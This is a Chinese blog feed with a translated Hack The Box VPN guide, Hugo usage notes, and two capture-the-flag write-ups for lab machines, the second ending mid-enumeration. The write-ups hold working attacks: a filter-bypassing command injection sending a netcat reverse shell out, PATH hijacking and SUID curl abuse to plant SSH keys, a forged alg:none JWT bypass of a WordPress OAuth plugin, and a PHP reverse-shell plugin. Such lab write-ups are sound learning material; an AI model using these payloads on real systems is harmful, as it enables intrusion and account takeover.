我的博客

HTB 实验环境访问入门（Introduction to Lab Access）

Sun, 13 Sep 2026 22:00:00 +0800

来源：Hack The Box Help Center · 中文译文，插图取自原文 · 翻译日期：2026-09-13

本文介绍如何连接 VPN 并访问 HTB 实验室里的靶机。

在 Hack The Box，我们使用 OpenVPN 连接，在你的设备和我们的实验室、靶机之间建立链路。你可能用过面向个人的各种"个人 VPN"服务，但我们这个 VPN 的用途完全不同。

个人 VPN 是这样一类服务：把设备的互联网连接加密，再经由一台用户自选地点的服务器转发。它可以用来保护隐私，也可以用来绕过网络审查。个人用户常用它防止上网行为被监控，或者隐藏自己的真实位置。

而公司/组织提供的 VPN 通常是为了让员工从外面远程访问公司内网。这类 VPN 在用户设备和公司网络之间建立一条安全连接，你访问内部资源时，就像人坐在公司里插着网线一样。

我们提供的各类 VPN 配置文件，作用是让你通过互联网接入我们的内部实验网络。这些用来自动配置 OpenVPN 客户端的配置文件，叫 VPN 包（VPN pack）或 VPN 文件（VPN file）。

有了它，你会被放进和漏洞靶机相同的 IP 子网，从而能够连到它们（然后攻击它们）。

你需要准备：

教学 VPN 包（Tutorial VPN packs）——原页面为图文卡片链接
免费 VPN 包（Free VPN packs）——原页面为图文卡片链接

如果你购买了 VIP+ 订阅，还能看到 VIP+ 的 VPN 包。它们和上面列出的免费包长得一样，只是把"Free"换成了"VIP+"。

连接 VPN 并不强制要求 Linux 环境，但我们强烈建议使用 Linux 虚拟机。如果你还没搭好 Linux 虚拟机，原文提供了一个专门的入门文章链接。

VPN 设置与控制台配置

要调整、配置或下载连接参数，用控制台（dashboard）任一视图里都有的全局交互控件：

OpenVPN 分配步骤

如果你选择使用单独的 .ovpn 配置文件，请依次完成以下设置：

Pwnbox 分配步骤

Pwnbox 的配置项和 OpenVPN 一致，也是选层级（tier）、地区（region）、协议（protocol）。但要多做下面几步操作：

启动 OpenVPN

点击 Download 按钮后，.ovpn 文件默认会下载到你 Linux 发行版的 Downloads（下载）目录。接下来就拿这个文件作为配置，启动 OpenVPN。

在 Linux 终端里建立隧道，严格按图中步骤操作：

遇到问题的话，去帮助中心的连接故障排除文章开始排障。

VPN 控制菜单详解

下面逐一解释所有 VPN 控制菜单：

Access（实验室选择）

在 Access 菜单里，可以从 Machines（靶机）专区所有可用的实验室中选择，包括免费服务器和 VIP+ 服务器——VIP+ 现在新增了呼声很高的澳大利亚（AU）VIP+、新加坡（SG）免费和 SG VIP+ 服务器。

最佳实践：选离你最近的实验室，同时考虑你账号的 VIP+ 订阅状态。

告诉大家一个好消息：自 2026 年 1 月 15 日起，免费用户和现有 VIP 用户在打 Machines 时都会拿到专属实例。这意味着性能稳定，更重要的是——没人会和你抢同一台靶机！详情见 HTB 官方博客。

Server（服务器选择）

在 Server 菜单里选择你要连的具体 VPN 服务器。选好之后就能直接下载 .ovpn 连接包，开始对 Machines 动手了。

我们用"手动选服务器"取代了"随机把用户分到人最少的服务器"，因为有不少人提需求：希望多个队友连同一台 VPN 服务器、打同一些靶机，互相较量。希望这个改动能进一步提升团队协作，让你和你的团队、组织的学习进度更上一层楼！

Download（下载）

Server 选择菜单右边就是 Download 按钮，用来下载刚生成的 .ovpn 包。点击后开始下载 .ovpn 文件，拿它启动你 Linux 系统上的 OpenVPN 进程，就能连上我们实验室里的 Machines 了。

Regenerate（重新生成）

如果 .ovpn 文件因错误生成异常，可以在所选实验室的各台服务器之间来回切换，重新生成文件。新的 .ovpn 文件生成后，直接下载到你的系统即可。

如果重新生成之后 .ovpn 文件仍然无效，随时联系 HTB 支持团队。

相关文章

术语说明

Machines：HTB 主站的靶机专区；Pwnbox：HTB 提供的在线版 Linux 攻击机（浏览器里直接用，不用自己装虚拟机）。
VPN pack / .ovpn 文件：OpenVPN 的配置文件，写好了服务器地址、证书等信息。sudo openvpn xxx.ovpn 就是拿它启动连接。
AU / SG：澳大利亚 / 新加坡服务器节点。
服务器协议怎么选：优先 UDP（1337 端口），连不上或频繁掉线再换 TCP（443 端口）。

博客使用指南：如何写作与发布

Thu, 10 Sep 2026 16:20:00 +0800

这篇文章就是本站的"说明书"，忘了流程随时回来看。

1. 新建一篇文章

在 D:\MyBlog 目录下执行：

hugo new content posts/我的新文章/index.md

生成的文件开头有一段 front matter（两行 --- 之间的部分）：

---
title: "我的新文章" # 标题
date: 2026-09-10T16:30:00+08:00
draft: true # 改成 false 才会发布
description: "一句话摘要，会显示在列表和搜索里"
tags: ["标签A", "标签B"]
categories: ["分类"]
featured_image: "cover.jpg" # 可选：封面图（放在同目录下）
---

2. 插入图片

每篇文章是一个独立的文件夹（Page Bundle），图片直接放在文章旁边即可：

content/posts/我的新文章/
├── index.md
├── cover.jpg ← 封面图
└── screenshot.png ← 正文配图

正文中引用：![截图说明](screenshot.png)

3. 本地预览

hugo server -D

打开 http://localhost:1313 实时预览，保存即刷新。-D 表示连草稿（draft: true）一起显示。

4. 发布

git add -A
git commit -m "新增文章：我的新文章"
git push

push 之后 GitHub Actions 会自动构建并发布到 GitHub Pages，大约一分钟后生效。

5. 常用管理操作

FixIt 主题的配置在 config/_default/ 目录下：

改博客标题：编辑 hugo.toml 的 title
改站点描述：编辑 params.toml 的 description
改首页作者卡片（名字、一句话、社交链接）：编辑 params.toml 的 [author]、[home.profile]、[social]
改导航菜单：编辑 menus.toml
改外观功能（明暗主题、代码块、目录、搜索等）：编辑 params.toml
放头像：图片放到 assets/img/avatar.png，在 params.toml 的 [author] 里加一行 avatar = "img/avatar.png"
升级主题：git submodule update --remote themes/FixIt（升级后需本地构建验证）
本地完整构建测试：hugo --minify，结果输出到 public/ 目录

你好，世界：博客正式开张

Thu, 10 Sep 2026 16:15:00 +0800

欢迎来到我的博客！这篇文章由 Hugo + FixIt 主题生成，部署在 GitHub Pages 上。

这套博客是怎么运作的

用 Markdown 写文章，存放在 content/post/ 目录
git push 到 GitHub 后，GitHub Actions 自动构建并发布
全程免费，无需服务器

Markdown 排版示例

文字样式

支持加粗、斜体、~~删除线~~、行内代码，以及链接。

代码块

def hello():
 print("Hello, Hugo!")

引用

好记性不如烂笔头，写博客是最好的复盘方式。

列表与表格

写一篇文章
push 到 GitHub
一分钟后自动上线

工具	作用
Hugo	静态站点生成
FixIt	主题外观
GitHub Pages	免费托管

接下来就交给时间，慢慢把这里填满吧。

Merge

Sat, 06 Jun 2026 15:01:28 +0800

作者	难度	平台
111	Medium	mazesec

信息收集

╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  22:41:30 
╰─ nmap 192.168.56.128 -p-
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:41 -0400
Nmap scan report for 192.168.56.128
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 30.43 seconds

╭─ ~ ──────────────────────────────────────────────────────────────── ✔  31s  root@kali  22:42:29 
╰─ nmap 192.168.56.128 -p22,80 -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:49 -0400
Nmap scan report for 192.168.56.128
Host is up (0.0021s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp open http nginx
|_http-title: \xE7\xA6\xBB\xE7\xBA\xBFIP\xE5\x9C\xB0\xE5\x9D\x80\xE6\x9F\xA5\xE8\xAF\xA2
MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Google Chromecast with Google TV (Android 10, Linux 4.9) (93%), Android 5 - 10 (Linux 3.4 - 3.18) (93%), Linux 2.6.32 (93%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 2.09 ms 192.168.56.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds

只开了两个端口，22 80.

这里可以进行 ip 查询，尝试命令执行，发现过滤了:

& | ; 空格 ` $

这里可以利用%0a进行绕过，在shell中 换行符\n 等价于命令分隔符。

╭─ ~ ──────────────────────────────────────────────────────────────────── 5 ✘  root@kali  23:06:51 
╰─ curl -X POST -d "ip=127.0.0.1%0aid" http://192.168.56.128

<body>
<div class="main">
<form class="form-group" method="POST" action="">
<input type="text" name="ip" id="ipInput" placeholder="输入IP地址查询" value="127.0.0.1
id" autofocus>
<button type="submit">查询</button>
</form>
<div class="result result-success"><pre>127.0.0.1 [本机地址] 
uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre></div>
</div>
<div class="footer">
<a href="https://maze-sec.com" target="_blank">maze-sec</a>
</div>
<script>
document.addEventListener('keydown', function(e) {
 if (e.key === '/' && document.activeElement !== document.getElementById('ipInput')) {
 e.preventDefault();
 document.getElementById('ipInput').focus();
 }
});
</script>
</body>

尝试反向shell获取立足点

%09 被 URL 解码后是水平制表符 Tab, 在shell中通常被当作空白分隔符，作用类似于空格。

╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  23:12:13 
╰─ curl -X POST -d "ip=127.0.0.1%0abusybox%09nc%09192.168.56.101%0939666%09-e%09/bin/bash" http://192.168.56.128

╭─ ~ ────────────────────────────────────────────────────────────────────── ✔  root@kali  23:09:59 
╰─ nc -lvnp 39666
listening on [any] 39666 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.128] 42538
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# 优化反向shell
script -qc /bin/bash /dev/null
# ctrl + z
stty raw -echo; fg
reset
xterm
www-data@Merge:~/html$ export SHELL=/bin/bash
www-data@Merge:~/html$ export TERM=xterm
www-data@Merge:~/html$ stty size 
24 80
www-data@Merge:~/html$ stty rows 28 columns 104 
www-data@Merge:~/html$

系统内部信息收集

www-data@Merge:~/html$ cat /etc/passwd | grep bash 
root:x:0:0:root:/root:/bin/bash
mono:x:1000:1000::/home/mono:/bin/bash
lnnn:x:1001:1001::/home/lnnn:/bin/bash
admin:x:1002:1002::/home/admin:/bin/bash

www-data@Merge:~/html$ ls -al /home
total 20
drwxr-xr-x 5 root root 4096 May 22 06:04 .
drwxr-xr-x 18 root root 4096 May 16 05:19 ..
drwx------ 2 admin admin 4096 May 22 09:22 admin
drwx------ 2 lnnn lnnn 4096 May 22 06:10 lnnn
drwx------ 2 mono mono 4096 May 22 06:03 mono

www-data@Merge:~/html$ find / -user admin 2>/dev/null
/opt/admin
/home/admin

www-data@Merge:~/html$ ls -al /opt
total 20
drwxr-xr-x 4 root root 4096 May 22 09:19 .
drwxr-xr-x 18 root root 4096 May 16 05:19 ..
drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge
drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin
-rw-r--r-- 1 root root 30 May 22 06:07 pass.txt

发现密码：

www-data@Merge:~/html$ cat /opt/pass.txt 
mono:0ysP8axqGSAkvXnkvxxukVnz

获取mono的凭证。

横向移动

mono

mono@Merge:~$ sudo -l
Matching Defaults entries for mono on Merge:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty,
 env_keep+=PATH, !secure_path

User mono may run the following commands on Merge:
 (lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge

env_keep+=PATH 表示保留当前用户mono的PATH环境变量，secure_path 用预设的安全路径覆盖掉原来的PATH环境变量。

只有env_keep+=PATH !secure_path 同时存在，才能确保：执行 /opt/Dirty-Merge/dirty_merge 时使用的是用户 mono 自己设置的 PATH，而不是系统预设的安全路径。

mono@Merge:/opt/Dirty-Merge$ sed -n "550,800p" gro_fragnesia.c | grep system
 ret = system("ip link add veth0 type veth peer name veth1");
 ret = system("ip addr add 10.0.0.1/24 dev veth0");
 ret = system("ip link set veth0 up");
 ret = system("ip link set lo up");
 ret = system("ip addr add 10.0.0.2/24 dev veth1");
 ret = system("ip link set veth1 up");
 ret = system("ethtool -K veth1 gro on");
 ret = system(buf);

执行命令用的是相对路径，所以可以使用环境变量PATH劫持：

mono@Merge:/tmp$ export PATH=/tmp:$PATH
mono@Merge:/tmp$ echo $PATH
/tmp:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/x86_energy_perf_policy:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/turbostat:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/cpupower:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/perf:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

mono@Merge:/tmp$ vim ethtool
mono@Merge:/tmp$ cat ethtool
echo "success"
mkdir /home/lnnn/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali" > /home/lnnn/.ssh/authorized_keys
chmod 600 /home/lnnn/.ssh/authorized_keys
chmod 700 /home/lnnn/.ssh
mono@Merge:/tmp$ chmod +x ethtool
mono@Merge:/tmp$ sudo -u lnnn /opt/Dirty-Merge/dirty_merge

lnnn

╭─ ~ ────────────────────────────────────────────────────────────────── INT ✘  root@kali  04:27:47 
╰─ ssh lnnn@192.168.56.128 -p 22
Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lnnn@Merge:~$ ls -al /opt
total 20
drwxr-xr-x 4 root root 4096 May 22 09:19 .
drwxr-xr-x 18 root root 4096 May 16 05:19 ..
drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin
drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge
-rw-r--r-- 1 root root 30 May 22 06:07 pass.txt
lnnn@Merge:~$ cd /opt/admin
lnnn@Merge:/opt/admin$ ls -al
total 328
drwxr-x--- 2 admin lnnn 4096 May 22 09:20 .
drwxr-xr-x 4 root root 4096 May 22 09:19 ..
-rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl
-rw-r--r-- 1 root root 105 May 22 09:20 hint.txt
lnnn@Merge:/opt/admin$ cat hint.txt
关注详细的参数帮助信息
Focus on the detailed parameter help information

lnnn@Merge:/opt/admin$ curl --help category
auth 认证方法
connection 连接管理
curl curl 命令行工具本身
deprecated 已废弃/旧版选项
dns DNS 名称解析
file FILE 协议
ftp FTP 协议
global 全局选项
http HTTP 和 HTTPS 协议
imap IMAP 协议
ldap LDAP 协议
output 文件系统输出
pop3 POP3 协议
post HTTP POST 相关选项
proxy 代理选项
scp SCP 协议
sftp SFTP 协议
smtp SMTP 协议
ssh SSH 协议
telnet TELNET 协议
tftp TFTP 协议
timeout 超时和延迟
tls TLS/SSL 相关
upload 上传/发送数据
verbose 详细输出、跟踪、日志等

lnnn@Merge:/opt/admin$ curl --help output
output: 文件系统输出
--create-dirs 创建必要的本地目录层级
--fail-with-body 遇到 HTTP 错误时返回失败，但仍保存响应 body
-N, --no-buffer 禁用输出流缓冲
--no-clobber 不要覆盖已经存在的文件
-o, --output <file> 把输出写入指定文件，而不是输出到 stdout
--output-dir <dir> 指定保存文件的目录
-J, --remote-header-name 使用响应头里提供的文件名
-O, --remote-name 使用远程文件名保存输出
--remote-name-all 对所有 URL 都使用远程文件名保存
-R, --remote-time 把远程文件的时间设置到本地输出文件上
--remove-on-error 出错时删除输出文件
-i, --show-headers 在输出中显示响应头
--skip-existing 如果本地文件已经存在，则跳过下载
--upload-flags <flags> IMAP 上传行为标志
-B, --use-ascii 使用 ASCII/文本传输
--xattr 把元数据存储到扩展文件属性中

lnnn@Merge:/opt/admin$ curl --help file
file: FILE 协议
--create-file-mode <mode> 设置新创建文件的权限模式
-I, --head 只显示文档信息/头信息，不显示内容
-l, --list-only 只列出内容，不下载/显示完整数据
-r, --range <range> 只获取指定 RANGE 范围内的字节

-o --create-file-mode --create-dirs：这三个参数可以让我们以admin的身份进行写入。

通过上面的三个参数将id_ed25519.pub文件写入到/home/admin/.ssh/authorized_keys文件里。

╭─ ~/.ssh ───────────────────────────────────────────────────────────────── ✔  root@kali  04:44:29 
╰─ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

lnnn@Merge:/opt/admin$ ./curl -o /home/admin/.ssh/authorized_keys --create-dirs --create-file-mode 600 http://192.168.56.101:8000/id_ed25519.pub
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 91 100 91 0 0 5586 0 --:--:-- --:--:-- --:--:-- 5687

admin

╭─ ~/.ssh ────────────────────────────────────────────────────────────────────────────────────────────────── ✔  2m 45s  root@kali  04:51:12 
╰─ ssh admin@192.168.56.128 -p 22
Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
admin@Merge:~$ ls -al
total 28
drwx------ 3 admin admin 4096 Jun 4 04:51 .
drwxr-xr-x 5 root root 4096 May 22 06:04 ..
-rw-r--r-- 1 admin admin 220 Mar 8 11:21 .bash_logout
-rw-r--r-- 1 admin admin 3526 Mar 8 11:21 .bashrc
-rw-r--r-- 1 root root 29 May 22 09:20 hint.txt
-rw-r--r-- 1 admin admin 807 Mar 8 11:21 .profile
drwxr-x--- 2 admin admin 4096 Jun 4 04:51 .ssh
admin@Merge:~$ cat hint.txt
man,what can i do

进行常规的信息收集，发现：

admin@Merge:~$ find / -writable -type f -exec ls -al {} \; 2>/dev/null | grep -vE "proc|sys"
-rwsr-sr-x 1 admin admin 321880 May 22 09:19 /opt/admin/curl
-rw-r--r-- 1 admin admin 807 Mar 8 11:21 /home/admin/.profile
-rw-rw-r-- 1 admin admin 91 Jun 4 04:51 /home/admin/.ssh/authorized_keys
-rw-r--r-- 1 admin admin 3526 Mar 8 11:21 /home/admin/.bashrc
-rw-r--r-- 1 admin admin 220 Mar 8 11:21 /home/admin/.bash_logout
-rw-rw-r-- 1 root admin 665 May 22 06:04 /etc/group

权限提升

我们对于/etc/group具有写入权限，我们可以给任意用户添加新的组；我记得/etc/sudoers默认规则里有：%sudo ALL=(ALL:ALL) ALL，mono，我们知道密码，把mono添加到sudo组，我们就可以以任何用户的身份执行任何权限：

vim /etc/group

mono@Merge:/tmp$ id
uid=1000(mono) gid=1000(mono) groups=1000(mono)
mono@Merge:/tmp$ newgrp sudo
mono@Merge:/tmp$ id
uid=1000(mono) gid=27(sudo) groups=27(sudo),1000(mono)
mono@Merge:/tmp$ sudo bash
[sudo] password for mono: 
root@Merge:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@Merge:/tmp#

disk权限提升

disk 组用户通常可以直接读写块设备，通常可以读写块设备，但不一定可以读写。

确认当前用户是否在disk组里：

admin@Merge:~$ id
uid=1002(admin) gid=1002(admin) groups=1002(admin),6(disk)

定位目标分区、确认文件系统类型、确认挂载点：

lsblk -f
# 看所有块设备和挂载点
df -hT
# 查看当前已挂载分区、类型、容量
findmnt
# 看挂载树，结构更清楚

这三种方式可以查看哪个是ext系列文件系统，因为debugfs主要能读写ext系列文件系统。

the0n3 推荐三种方法：

读取私钥/shadow
sudo提权
写入公钥

这三种是最稳定的，后面的两个需要重启后才能生效，我并没有进行验证。

方法三：

admin@Merge:~$ cat /tmp/a
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali
admin@Merge:~$ ./debugfs -w /dev/sda1
debugfs 1.47.4 (6-Mar-2025)
debugfs: write /tmp/a /root/.ssh/authorized_keys
Allocated inode: 542507
debugfs: q
admin@Merge:~$

Oauth 复盘

Wed, 03 Jun 2026 13:15:08 +0800

作者	难度	平台
sublarge	medium	mazesec

信息收集

╭─ ~ ──────────────────────────────────────────────── INT ✘  4h 33m 6s  root@kali  06:59:02 
╰─ nmap 192.168.56.126 -p-
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-01 07:05 -0400
Nmap scan report for 192.168.56.126
Host is up (0.00066s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
MAC Address: 08:00:27:D5:46:80 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 17.58 seconds

╭─ ~ ────────────────────────────────────────────────────────── ✔  18s  root@kali  07:06:03 
╰─ nmap 192.168.56.126 -p22,80,8080 -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-01 07:06 -0400
WARNING: Service 192.168.56.126:8080 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 192.168.56.126
Host is up (0.0023s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.67
|_http-server-header: Apache/2.4.67 (Unix)
|_http-title: Did not follow redirect to http://oauth.dsz/
8080/tcp open rtsp
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
| http-title: Keycloak Administration Console
|_Requested resource was http://192.168.56.126:8080/admin/master/console/
| http-robots.txt: 1 disallowed entry

修改hosts文件：

# 添加内容
192.168.56.126 oauth.dsz

hosts：C:\Windows\System32\drivers\etc，linux 在 /etc/hosts 文件里修改。

这里可以了解一下这些端口运行服务的功能

访问：http://oauth.dsz/

WordPress 框架写的。

╭─ ~ ────────────────────────────────────────────────────────── ✔  15s  root@kali  07:24:03 
╰─ wpscan --url http://oauth.dsz/
_______________________________________________________________
 __ _______ _____
 \ \ / / __ \ / ____|
 \ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
 \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
 \ /\ / | | ____) | (__| (_| | | | |
 \/ \/ |_| |_____/ \___|\__,_|_| |_|

 WordPress Security Scanner by the WPScan Team
 Version 3.8.28
 Sponsored by Automattic - https://automattic.com/
 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://oauth.dsz/ [192.168.56.126]
[+] Started: Mon Jun 1 07:24:45 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 | - Server: Apache/2.4.67 (Unix)
 | - X-Powered-By: PHP/8.3.31
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://oauth.dsz/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 | - http://codex.wordpress.org/XML-RPC_Pingback_API
 | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://oauth.dsz/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://oauth.dsz/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://oauth.dsz/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 | - https://www.iplocation.net/defend-wordpress-from-ddos
 | - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.9.4 identified (Outdated, released on 2026-03-11).
 | Found By: Rss Generator (Passive Detection)
 | - http://oauth.dsz/?feed=rss2, <generator>https://wordpress.org/?v=6.9.4</generator>
 | - http://oauth.dsz/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.9.4</generator>

[+] WordPress theme in use: twentytwentyfive
 | Location: http://oauth.dsz/wp-content/themes/twentytwentyfive/
 | Last Updated: 2026-05-20T00:00:00.000Z
 | Readme: http://oauth.dsz/wp-content/themes/twentytwentyfive/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 | Style URL: http://oauth.dsz/wp-content/themes/twentytwentyfive/style.css
 | Style Name: Twenty Twenty-Five
 | Style URI: https://wordpress.org/themes/twentytwentyfive/
 | Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.4 (80% confidence)
 | Found By: Style (Passive Detection)
 | - http://oauth.dsz/wp-content/themes/twentytwentyfive/style.css, Match: 'Version: 1.4'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] miniorange-login-with-eve-online-google-facebook
 | Location: http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/
 | Last Updated: 2026-04-16T04:54:00.000Z
 | [!] The version is out of date, the latest version is 6.26.19
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 6.26.11 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://oauth.dsz/wp-content/plugins/miniorange-login-with-eve-online-google-facebook/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <===================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jun 1 07:24:58 2026
[+] Requests Done: 171
[+] Cached Requests: 5
[+] Data Sent: 41.92 KB
[+] Data Received: 328.549 KB
[+] Memory used: 269.859 MB
[+] Elapsed time: 00:00:12

WordPress version：6.9.4
theme : twentytwentyfive，版本：1.4。
Plugin : miniorange-login-with-eve-online-google-facebook，版本：6.26.11

WordPress 6.9.4 未发现任何严重的漏洞，插件miniorange-login-with-eve-online-google-facebook 6.26.11 存在漏洞。

搜索方式：https://wpscan.com/plugin/你要搜索的插件名字/，可以搜索到插件的历史漏洞。

6.26.13 版本之前存在一个严重的权限验证漏洞:

OAuth Single Sign On < 6.26.13 - 认证绕过漏洞

该插件存在加密签名验证不当的漏洞。原因是插件在 get_resource_owner_from_id_token 函数中处理 JWT 令牌时，没有进行签名验证或校验，直接进行了不安全处理。

这使得未经身份验证的攻击者可以绕过认证，访问任意现有用户账户（在某些配置下包括管理员账户），或者创建任意订阅者级别的账户。

韭菜叶片的思路：下载源码，并告诉ai存在：OAuth Single Sign On < 6.26.13 - 认证绕过漏洞，让ai审计，可以大大提高漏洞利用的成功率。

漏洞利用

漏洞利用流程

伪造 JWT（alg: none，无签名验证）

http://oauth.dsz/?code=test123&state=a2V5Y2xvYWs=&id_token=eyJhbGciOiJub25lIn0.eyJlbWFpbCI6ImFkbWluQG9hdXRoLmRzeiIsInN1YiI6IjEiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImlzcyI6Imh0dHA6Ly9vYXV0aC5kc3o6ODA4MC9yZWFsbXMvd29yZHByZXNzLXNpdGUifQ.

在浏览器访问：

可以看到，已经进入了后台。

反向shell获取立足点

<?php
/**
 * Plugin Name: Reverse Shell Plugin
 * Plugin URI: 
 * Description: Reverse Shell Plugin for penetration testing.
 * Version: 1.0
 * Author: Security Analyst
 * Author URI: http://www.example.com
 */
exec("busybox nc 192.168.56.101 39666 -e /bin/bash");
?>

编写一个插件，并压缩为zip格式。

点击这里

再点击这里，然后上传插件并启动。

启动之前，必须在kali上进行监听：

╭─ ~ ──────────────────────────────────────────────────────────────── ✔  root@kali  23:02:28 
╰─ nc -lvnp 39666
listening on [any] 39666 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.126] 40969
id
uid=104(apache) gid=106(apache) groups=82(www-data),106(apache),106(apache)
env
PWD=/var/www/localhost/htdocs/wordpress/wp-admin
HOME=/root
TERM=linux
USER=root
SHLVL=3
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
_=/usr/bin/env
export SHELL=/bin/bash
script -qc /bin/bash /dev/null
bash: /root/.bashrc: Permission denied
Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ export TERM=xterm
export TERM=xterm
Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ ^Z
[1] + 1239 suspended nc -lvnp 39666

╭─ ~ ────────────────────────────────────────────── TSTP ✘  1m 29s    root@kali  23:04:02 
╰─ stty raw -echo;fg
[1] + 1239 continued nc -lvnp 39666
 reset
Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ stty size
stty: standard input
Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ stty rows 37 columns 98
Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$

系统内部信息收集

